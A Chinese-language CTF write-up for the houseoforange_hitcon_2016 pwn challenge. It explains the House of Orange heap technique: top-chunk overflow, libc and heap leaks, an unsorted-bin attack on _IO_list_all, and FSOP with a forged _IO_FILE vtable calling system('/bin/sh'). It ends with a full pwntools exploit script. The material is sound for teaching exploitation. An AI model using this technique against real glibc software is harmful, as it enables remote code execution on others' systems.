0%

houseoforange_hitcon_2016

buuoj刷pwn题之houseoforange_hitcon_2016

参考文章:https://bbs.pediy.com/thread-222718.htm

保护全开
upload successful

有add,show,edit,没free

add只有4次:
upload successful

show
upload successful

edit只有3次,但是写入数据的长度可控,可溢出
upload successful

house of orange具体在没有free功能的情况下,制造出free的chunk,思路是溢出修改top chunk的size,然后malloc比top chunk大的chunk,使得top chunk被释放进入unsorted bin

一些检查:

  • top chunk的size要4K对齐
  • pre_in_use位置1

修改top chunk的size后

1
2
3
4
5
6
7
8
add(0x80, 'aaaa')

fake_name = 'a' * 0x80
fake_name += p64(0) + p64(0x21) # color chunk
fake_name += p32(0xddaa) + p32(1) + p64(0) # color structure
fake_name += p64(0) + p64(0xf31) # top chunk: pre_size, size

edit(len(fake_name), fake_name)

upload successful

malloc一个比top chunk大的chunk,top chunk将会被释放进入unsorted bin

1
add(0x1000, 'aaa') # free top chunk

upload successful

之后再malloc一个large bin大小的chunk,将从unsorted bin切割出来,bk仍然存有main_arena的地址,bk后面的fd_nextsize又有堆的地址,可以泄露出来

1
2
3
4
5
6
7
8
9
10
11
12
add(0x400, 'a' * 8) # 从unsorted bin中切割一块出来 'a' * 8 是fd,后面就是bk
show()
ru('a' * 8)
addr = uu64(r(6))
lbase = addr - (0x7ffff7dd2188 - 0x7ffff7a0d000)


edit(0x10, 'a' * 0x10)
show()
ru('a' * 0x10)
addr = uu64(r(6))
hbase = addr & 0xffFFffFFffFFf000

upload successful

之后就是unsorted bin attack,修改_IO_list_all为unsorted bin的地址,而unsorted bin + 0x68(_IO_FILE_plus的_chain字段)是0x60大小的small chunk,要是把覆盖unsorted bin 中的chunk的size成0x60,那么_chain将填成这个chunk的地址,就把这个chunk当成_IO_FILE_plus结构了

1
2
3
4
5
6
7
8
9
10
11
12
pay = 'a' * 0x400
pay += p64(0) + p64(0x21)
pay += p32(0xddaa) + p32(1) + p64(0)

fake_file = '/bin/sh\x00' + p64(0x61) # pre_size, size
fake_file += p64(0) + p64(_IO_list_all-0x10) # fd, bk

pay += fake_file

edit(len(pay), pay)

add(0x400, 'aaa')

通过unsorted bin attack将_IO_list_all改成unsorted bin的地址
upload successful

并且+0x68处,已经改成这个chunk的地址
upload successful

开始FSOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

pay = 'a' * 0x400
pay += p64(0) + p64(0x21)
pay += p32(0xddaa) + p32(1) + p64(0)

chunk_addr = hbase + 0x560

fake_file = '/bin/sh\x00' + p64(0x61) # pre_size, size
fake_file += p64(0) + p64(_IO_list_all-0x10) # fd, bk
fake_file += p64(0) + p64(1) # _IO_write_base, _IO_write_ptr
fake_file = fake_file.ljust(0xc0, '\x00')
fake_file += p64(0) # _mode
fake_file += p64(0) + p64(0)
fake_file += p64(chunk_addr + len(fake_file) + 8) # vtable

fake_vtable = p64(0) * 3
fake_vtable += p64(lbase + ctx.libc.sym['system']) # _IO_OVERFLOW

pay += fake_file + fake_vtable

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#coding=utf8
#!/usr/bin/python2

from PwnContext import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './houseoforange_hitcon_2016'
ctx.remote = ('0.0.0.0', 0)
ctx.remote_libc = '../libc/libc-2.23.so'
ctx.debug_remote_libc = True

def add(size, content):
sla('choice : ', '1')
sla('name :', str(size))
sa('Name :', content)
sla('Orange:', '1')
sla('Orange:', str(0xddaa))


def show():
sla('choice : ', '2')


def edit(size, content):
sla('choice : ', '3')
sla('name :', str(size))
sa('Name:', content)
sla('Orange:', '1')
sla('Orange:', str(0xddaa))


#rs()
rs('remote')
# print(ctx.libc.path)

add(0x80, 'aaaa')

fake_name = 'a' * 0x80
fake_name += p64(0) + p64(0x21) # color chunk: pre_size, size 不必要伪造,直接随便覆盖也行
fake_name += p32(0xddaa) + p32(1) + p64(0) # color structure
fake_name += p64(0) + p64(0xf31) # top chunk: pre_size, size

edit(len(fake_name), fake_name)

add(0x1000, 'aaa') # free top chunk

add(0x400, 'a' * 8) # 从unsorted bin中切割一块出来 'a' * 8 是fd,后面就是bk
show()
ru('a' * 8)
addr = uu64(r(6))
lbase = addr - (0x7ffff7dd2188 - 0x7ffff7a0d000)
leak('lbase', lbase)

edit(0x10, 'a' * 0x10)
show()
ru('a' * 0x10)
addr = uu64(r(6))
hbase = addr & 0xffFFffFFffFFf000
leak('hbase', hbase)

_IO_list_all = lbase + ctx.libc.sym['_IO_list_all']
leak('_IO_list_all', _IO_list_all)

pay = 'a' * 0x400
pay += p64(0) + p64(0x21)
pay += p32(0xddaa) + p32(1) + p64(0)

chunk_addr = hbase + 0x560

fake_file = '/bin/sh\x00' + p64(0x61) # pre_size, size
fake_file += p64(0) + p64(_IO_list_all-0x10) # fd, bk
fake_file += p64(0) + p64(1) # _IO_write_base, _IO_write_ptr
fake_file = fake_file.ljust(0xc0, '\x00')
fake_file += p64(0) # _mode
fake_file += p64(0) + p64(0)
fake_file += p64(chunk_addr + len(fake_file) + 8) # vtable

fake_vtable = p64(0) * 3
fake_vtable += p64(lbase + ctx.libc.sym['system']) # _IO_OVERFLOW

pay += fake_file + fake_vtable


#dbg('watch %s' % hex(_IO_list_all))

edit(len(pay), pay)

#add(0x400, 'aaa')

sla('choice : ', '1')


irt()